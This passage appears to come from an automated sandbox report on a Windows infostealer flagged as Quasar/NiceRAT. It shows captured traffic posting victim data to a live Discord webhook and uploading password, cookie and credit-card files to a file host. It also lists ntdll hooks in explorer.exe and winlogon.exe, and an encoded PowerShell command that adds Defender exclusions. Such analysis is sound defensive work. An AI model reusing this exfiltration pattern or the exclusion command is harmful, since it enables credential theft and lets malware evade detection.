2024-05-12 21:37:30 UTC	318	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 72 6f 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 31 2e 31 38 31 2e 36 30 2e 31 31 20 28 52 6f 6d 61 6e 69 61 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 4e 69 63 65 52 41 54 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 69 2e 69 6d 67 75 72 2e 63 6f 6d 2f 69 46 6c 39 70 4a 4b 2e 70 6e 67 22 7d 7d 5d 2c 20 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 61 76 61 Data Ascii: {"content": ":flag_ro: - `user \| 81.181.60.11 (Romania)`", "embeds": [{"title": "NiceRAT \| App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "NiceRAT", "icon_url": "https://i.imgur.com/iFl9pJK.png"}}], "username": "NiceRAT", "ava
2024-05-12 21:37:30 UTC	1358	IN	HTTP/1.1 204 No Content Date: Sun, 12 May 2024 21:37:30 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=d5f4f88410a711efb0562a41e3c20e2a; Expires=Fri, 11-May-2029 21:37:30 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1715549852 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uexREfjFOuIuLKuB0Vi09lqDoQp8GEs%2B0gMb1sVj6RrZbh9a9cWRzDIh%2Fm7gtzrWpyJX8RxruBATt6%2Bln%2BBDs7mHdGWy0d2ku9o3jgRpX5k%2BRxNAEzJs4waLxaOF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=d5f4f88410a711efb0562a41e3c20e2a7c3ca813b82e312e682519d029a8f721b39efbd292e39f8522bed5ededa6c641; Expires=Fri, 11-May-2029 21:37:30 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=71190386377d0005709387f7da8376c33c13a235-1715549850; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-05-12 21:37:30 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 76 67 42 6a 66 72 67 6d 52 55 61 69 4e 2e 51 48 31 49 53 46 5a 34 55 6e 4b 58 38 61 72 35 74 50 6b 5a 72 76 6a 57 6b 62 66 59 30 2d 31 37 31 35 35 34 39 38 35 30 37 33 36 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 32 64 38 63 65 36 31 66 37 66 37 36 36 33 2d 53 45 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=vgBjfrgmRUaiN.QH1ISFZ4UnKX8ar5tPkZrvjWkbfY0-1715549850736-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 882d8ce61f7f7663-SEA

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49762	31.14.70.245	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:30 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 193 Content-Type: multipart/form-data; boundary=------------------------c36ab35b8002e74b
2024-05-12 21:37:30 UTC	193	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 33 36 61 62 33 35 62 38 30 30 32 65 37 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 33 36 61 62 33 35 62 38 30 30 32 65 37 34 62 2d 2d 0d 0a Data Ascii: --------------------------c36ab35b8002e74bContent-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------c36ab35b8002e74b--
2024-05-12 21:37:31 UTC	509	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.3 Date: Sun, 12 May 2024 21:37:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 15 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range X-Content-Type-Options: nosniff
2024-05-12 21:37:31 UTC	15	IN	Data Raw: 65 72 72 6f 72 2d 6d 69 6d 65 74 79 70 65 0a Data Ascii: error-mimetype

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49766	31.14.70.245	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:31 UTC	199	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 3349 Content-Type: multipart/form-data; boundary=------------------------73a6ad9995c5f79d
2024-05-12 21:37:31 UTC	3349	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 33 61 36 61 64 39 39 39 35 63 35 66 37 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6a 38 53 51 55 54 6c 74 6e 56 55 35 63 4f 41 65 79 7a 71 53 78 57 2d 71 48 4f 61 6b 52 75 42 48 44 51 47 4c 54 47 65 63 65 43 39 5a 35 72 52 7a 6b 35 74 72 4d 4b 62 34 43 75 5a 43 5f 43 46 6d 63 37 4b 46 Data Ascii: --------------------------73a6ad9995c5f79dContent-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE2597573456NID511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KF
2024-05-12 21:37:32 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.25.3 Date: Sun, 12 May 2024 21:37:32 GMT Content-Type: application/json Content-Length: 303 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2024-05-12 21:37:32 UTC	303	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 22 66 38 45 43 53 50 22 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 66 38 45 43 53 50 22 2c 22 66 69 6c 65 49 64 22 3a 22 61 31 34 30 34 64 63 34 2d 36 36 66 30 2d 34 61 35 33 2d 62 36 66 35 2d 63 63 61 39 65 31 30 65 32 63 38 65 22 2c 22 66 69 6c 65 4e 61 6d 65 22 3a 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 51 4e 69 4a 30 51 62 44 41 79 34 38 7a 6e 74 34 37 6b 46 62 62 55 4b 4b 46 37 34 73 55 53 37 42 22 2c 22 6d 64 35 22 3a 22 38 63 36 66 66 33 34 35 35 31 65 35 64 34 35 61 39 65 36 30 61 30 33 64 33 31 34 38 37 30 35 33 22 2c 22 70 61 72 65 6e 74 46 6f 6c 64 65 72 22 3a 22 33 39 38 65 38 34 Data Ascii: {"data":{"code":"f8ECSP","downloadPage":"https://gofile.io/d/f8ECSP","fileId":"a1404dc4-66f0-4a53-b6f5-cca9e10e2c8e","fileName":"crcookies.txt","guestToken":"QNiJ0QbDAy48znt47kFbbUKKF74sUS7B","md5":"8c6ff34551e5d45a9e60a03d31487053","parentFolder":"398e84

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49769	31.14.70.245	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:34 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 195 Content-Type: multipart/form-data; boundary=------------------------28728f8be6b9a5d1
2024-05-12 21:37:34 UTC	195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 38 37 32 38 66 38 62 65 36 62 39 61 35 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 38 37 32 38 66 38 62 65 36 62 39 61 35 64 31 2d 2d 0d 0a Data Ascii: --------------------------28728f8be6b9a5d1Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------28728f8be6b9a5d1--
2024-05-12 21:37:35 UTC	509	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.3 Date: Sun, 12 May 2024 21:37:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 15 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range X-Content-Type-Options: nosniff
2024-05-12 21:37:35 UTC	15	IN	Data Raw: 65 72 72 6f 72 2d 6d 69 6d 65 74 79 70 65 0a Data Ascii: error-mimetype

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49770	162.159.135.232	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:36 UTC	333	OUT	POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1 Accept-Encoding: identity Content-Length: 1624 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2024-05-12 21:37:36 UTC	1624	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 72 6f 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 31 2e 31 38 31 2e 36 30 2e 31 31 20 28 52 6f 6d 61 6e 69 61 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 4e 69 63 65 52 41 54 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69 67 68 74 3a 37 31 35 35 38 35 33 32 Data Ascii: {"content": ":flag_ro: - `user \| 81.181.60.11 (Romania)`", "embeds": [{"title": "NiceRAT \| Password Stealer", "description": "Found:\n\n\nData:\n<a:hira_kasaanahtari:886942856969875476> \u2022 0 Passwords Found\n<a:CH_IconArrowRight:71558532
2024-05-12 21:37:36 UTC	1354	IN	HTTP/1.1 204 No Content Date: Sun, 12 May 2024 21:37:36 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=d96dca1810a711ef9bea66dafad088f9; Expires=Fri, 11-May-2029 21:37:36 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1715549857 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9pSGz7T8%2FmpV9Q7bajXsypduO9zmYC%2FEdly9CNBxd6u7Cq6cDPTKz4efSnhvl46WLwY5qpJg84lXBemA6baUG45qKicDEjqEsa8clIoKs%2FNO8rMn1aJ3qtZxNi0c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=d96dca1810a711ef9bea66dafad088f95e1f741f3d31e643b79ad77b4c795d8b33dc1b321d46e316c24986571ae8e15e; Expires=Fri, 11-May-2029 21:37:36 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=7926ad4e1e6fb5d1f7317a3bb918944314d5a025-1715549856; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-05-12 21:37:36 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 6c 78 39 5a 52 4b 6c 4e 59 7a 61 33 34 71 43 37 56 41 53 41 6b 47 72 6b 58 4c 75 2e 57 71 31 51 46 41 53 62 42 74 78 35 33 71 49 2d 31 37 31 35 35 34 39 38 35 36 35 36 30 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 32 64 38 64 30 39 32 61 34 35 37 36 35 31 2d 53 45 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=lx9ZRKlNYza34qC7VASAkGrkXLu.Wq1QFASbBtx53qI-1715549856560-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 882d8d092a457651-SEA

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49771	162.159.135.232	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:37 UTC	332	OUT	POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1 Accept-Encoding: identity Content-Length: 310 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2024-05-12 21:37:37 UTC	310	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 72 6f 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 31 2e 31 38 31 2e 36 30 2e 31 31 20 28 52 6f 6d 61 6e 69 61 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 4e 69 63 65 52 41 54 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 69 2e 69 6d 67 75 72 2e 63 6f 6d 2f 69 46 6c 39 70 4a 4b 2e 70 6e 67 22 7d 7d 5d 2c 20 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 61 76 61 74 61 72 5f 75 72 6c 22 Data Ascii: {"content": ":flag_ro: - `user \| 81.181.60.11 (Romania)`", "embeds": [{"color": 2895667, "fields": [], "title": "NiceRAT \| File Stealer", "footer": {"text": "NiceRAT", "icon_url": "https://i.imgur.com/iFl9pJK.png"}}], "username": "NiceRAT", "avatar_url"
2024-05-12 21:37:37 UTC	1354	IN	HTTP/1.1 204 No Content Date: Sun, 12 May 2024 21:37:37 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=da15b9b210a711efbe66ea7bb870673d; Expires=Fri, 11-May-2029 21:37:37 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1715549858 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xLoEEgW2MBwFDikxoGLacN4ov7YiYrrtuU5Slkg9aHMa8d%2Bz5sarmSG3GiUCXQ%2FYcYpPGfJTFeOUVDmyjnEfYJLlUMuu8zX124sEP5vyQBI5O%2Fy2kcEsCz8d9Of8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=da15b9b210a711efbe66ea7bb870673d647f50fcd90d1d56399f088925ee1e96e1840c556d0331bfc580f4ea8c1b004c; Expires=Fri, 11-May-2029 21:37:37 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=f3ee938f738e4ce7f43cc3a234b74f1a688df7f0-1715549857; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-05-12 21:37:37 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 35 6f 46 63 70 44 48 68 69 34 6b 67 72 6d 4f 54 42 4b 70 36 5f 52 58 58 79 44 4c 53 74 6f 73 6c 6c 34 31 39 68 4f 6e 4f 45 69 67 2d 31 37 31 35 35 34 39 38 35 37 36 36 32 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 32 64 38 64 31 31 32 62 36 36 63 36 66 35 2d 53 45 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=5oFcpDHhi4kgrmOTBKp6_RXXyDLStosll419hOnOEig-1715549857662-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 882d8d112b66c6f5-SEA

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	23:36:57
Start date:	12/05/2024
Path:	C:\Users\user\Desktop\w85VkFOxiD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\w85VkFOxiD.exe"
Imagebase:	0x400000
File size:	25'809'408 bytes
MD5 hash:	4BB4FF4B1FA6C7E122557D8A55826242
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:36:58
Start date:	12/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA="
Imagebase:	0xc60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:36:58
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:36:58
Start date:	12/05/2024
Path:	C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe"
Imagebase:	0x7ff6704f0000
File size:	306'176 bytes
MD5 hash:	8AF17734385F55DC58F1CA38BCE22312
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs Detection: 64%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:36:58
Start date:	12/05/2024
Path:	C:\Users\user\AppData\Roaming\Update.exe
Wow64 process (32bit):	false
